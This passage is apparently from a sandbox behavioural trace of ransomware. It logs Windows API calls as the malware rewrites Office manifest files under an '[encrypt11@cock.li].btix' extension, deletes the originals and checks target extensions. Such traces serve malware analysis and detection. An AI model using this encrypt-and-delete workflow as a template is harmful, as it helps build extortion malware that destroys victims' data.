office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.558] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.558] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.558] GetLastError () returned 0x0 [0048.558] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0048.727] WriteFile (in: hFile=0x398, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0048.731] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.731] WriteFile (in: hFile=0x398, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0048.731] SetEndOfFile (hFile=0x398) returned 1 [0048.731] CloseHandle (hObject=0x398) returned 1 [0048.732] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.732] SetEndOfFile (hFile=0x308) returned 1 [0048.732] CloseHandle (hObject=0x308) returned 1 [0048.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0048.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0048.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.733] lstrlenW (lpString=".doc") returned 4 [0048.733] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.733] lstrlenW (lpString=".docx") returned 5 [0048.733] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.733] lstrlenW (lpString=".pdf") returned 4 [0048.733] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.733] lstrlenW (lpString=".xls") returned 4 [0048.733] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.733] lstrlenW (lpString=".xlsx") returned 5 [0048.733] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.733] lstrlenW (lpString=".ppt") returned 4 [0048.733] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.733] lstrlenW (lpString=".zip") returned 4 [0048.733] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.733] lstrlenW (lpString=".rar") returned 4 [0048.733] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.733] lstrlenW (lpString=".bz2") returned 4 [0048.734] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.734] lstrlenW (lpString=".7z") returned 3 [0048.734] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.734] lstrlenW (lpString=".dbf") returned 4 [0048.734] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.734] lstrlenW (lpString=".1cd") returned 4 [0048.734] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.734] lstrlenW (lpString=".jpg") returned 4 [0048.734] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.734] lstrlenW (lpString=".doc") returned 4 [0048.734] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.734] lstrlenW (lpString=".docx") returned 5 [0048.734] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.735] lstrlenW (lpString=".pdf") returned 4 [0048.735] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.735] lstrlenW (lpString=".xls") returned 4 [0048.735] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.735] lstrlenW (lpString=".xlsx") returned 5 [0048.736] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.736] lstrlenW (lpString=".ppt") returned 4 [0048.736] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.736] lstrlenW (lpString=".zip") returned 4 [0048.736] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.736] lstrlenW (lpString=".rar") returned 4 [0048.736] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.736] lstrlenW (lpString=".bz2") returned 4 [0048.736] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.736] lstrlenW (lpString=".7z") returned 3 [0048.736] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.736] lstrlenW (lpString=".dbf") returned 4 [0048.736] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.736] lstrlenW (lpString=".1cd") returned 4 [0048.736] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0048.736] lstrlenW (lpString=".jpg") returned 4 [0048.736] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.736] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.737] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0048.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.737] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1261) returned 1 [0048.737] CloseHandle (hObject=0x308) returned 1 [0048.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0048.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.738] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.738] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.738] GetLastError () returned 0x0 [0048.738] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0048.833] WriteFile (in: hFile=0x398, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0048.834] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.834] WriteFile (in: hFile=0x398, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0048.834] SetEndOfFile (hFile=0x398) returned 1 [0048.834] CloseHandle (hObject=0x398) returned 1 [0048.835] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.835] SetEndOfFile (hFile=0x308) returned 1 [0048.870] CloseHandle (hObject=0x308) returned 1 [0048.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0048.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0048.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.871] lstrlenW (lpString=".doc") returned 4 [0048.871] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.871] lstrlenW (lpString=".docx") returned 5 [0048.871] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.871] lstrlenW (lpString=".pdf") returned 4 [0048.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.871] lstrlenW (lpString=".xls") returned 4 [0048.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.871] lstrlenW (lpString=".xlsx") returned 5 [0048.871] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.871] lstrlenW (lpString=".ppt") returned 4 [0048.871] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.871] lstrlenW (lpString=".zip") returned 4 [0048.871] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.871] lstrlenW (lpString=".rar") returned 4 [0048.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.871] lstrlenW (lpString=".bz2") returned 4 [0048.871] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.871] lstrlenW (lpString=".7z") returned 3 [0048.871] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.871] lstrlenW (lpString=".dbf") returned 4 [0048.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.872] lstrlenW (lpString=".1cd") returned 4 [0048.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.872] lstrlenW (lpString=".jpg") returned 4 [0048.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.872] lstrlenW (lpString=".doc") returned 4 [0048.872] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString=".docx") returned 5 [0048.872] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0048.872] lstrlenW (lpString=".pdf") returned 4 [0048.872] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString=".xls") returned 4 [0048.872] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString=".xlsx") returned 5 [0048.872] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0048.872] lstrlenW (lpString=".ppt") returned 4 [0048.872] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.872] lstrlenW (lpString=".zip") returned 4 [0048.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.872] lstrlenW (lpString=".rar") returned 4 [0048.872] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString=".bz2") returned 4 [0048.872] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString=".7z") returned 3 [0048.872] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.872] lstrlenW (lpString=".dbf") returned 4 [0048.872] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.872] lstrlenW (lpString=".1cd") returned 4 [0048.873] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0048.873] lstrlenW (lpString=".jpg") returned 4 [0048.873] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.873] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0048.873] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53 [0048.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.929] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=19451) returned 1 [0048.929] CloseHandle (hObject=0x398) returned 1 [0048.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0048.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.931] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.931] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0048.931] GetLastError () returned 0x0 [0048.931] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4bfb, lpOverlapped=0x0) returned 1 [0049.061] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4c00, lpOverlapped=0x0) returned 1 [0049.062] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.062] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.062] SetEndOfFile (hFile=0x350) returned 1 [0049.062] CloseHandle (hObject=0x350) returned 1 [0049.063] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.063] SetEndOfFile (hFile=0x398) returned 1 [0049.064] CloseHandle (hObject=0x398) returned 1 [0049.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.065] lstrlenW (lpString=".doc") returned 4 [0049.065] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.065] lstrlenW (lpString=".docx") returned 5 [0049.065] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.065] lstrlenW (lpString=".pdf") returned 4 [0049.065] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.065] lstrlenW (lpString=".xls") returned 4 [0049.065] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.065] lstrlenW (lpString=".xlsx") returned 5 [0049.065] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.065] lstrlenW (lpString=".ppt") returned 4 [0049.065] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.065] lstrlenW (lpString=".zip") returned 4 [0049.065] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.065] lstrlenW (lpString=".rar") returned 4 [0049.065] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.065] lstrlenW (lpString=".bz2") returned 4 [0049.065] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.065] lstrlenW (lpString=".7z") returned 3 [0049.065] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.065] lstrlenW (lpString=".dbf") returned 4 [0049.065] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.065] lstrlenW (lpString=".1cd") returned 4 [0049.065] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.065] lstrlenW (lpString=".jpg") returned 4 [0049.065] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.066] lstrlenW (lpString=".doc") returned 4 [0049.066] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.066] lstrlenW (lpString=".docx") returned 5 [0049.066] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.066] lstrlenW (lpString=".pdf") returned 4 [0049.066] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.066] lstrlenW (lpString=".xls") returned 4 [0049.066] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.066] lstrlenW (lpString=".xlsx") returned 5 [0049.066] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.066] lstrlenW (lpString=".ppt") returned 4 [0049.066] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.066] lstrlenW (lpString=".zip") returned 4 [0049.066] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.066] lstrlenW (lpString=".rar") returned 4 [0049.066] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.066] lstrlenW (lpString=".bz2") returned 4 [0049.066] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.066] lstrlenW (lpString=".7z") returned 3 [0049.066] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.066] lstrlenW (lpString=".dbf") returned 4 [0049.066] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.066] lstrlenW (lpString=".1cd") returned 4 [0049.066] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0049.066] lstrlenW (lpString=".jpg") returned 4 [0049.066] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.067] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.067] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53 [0049.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, 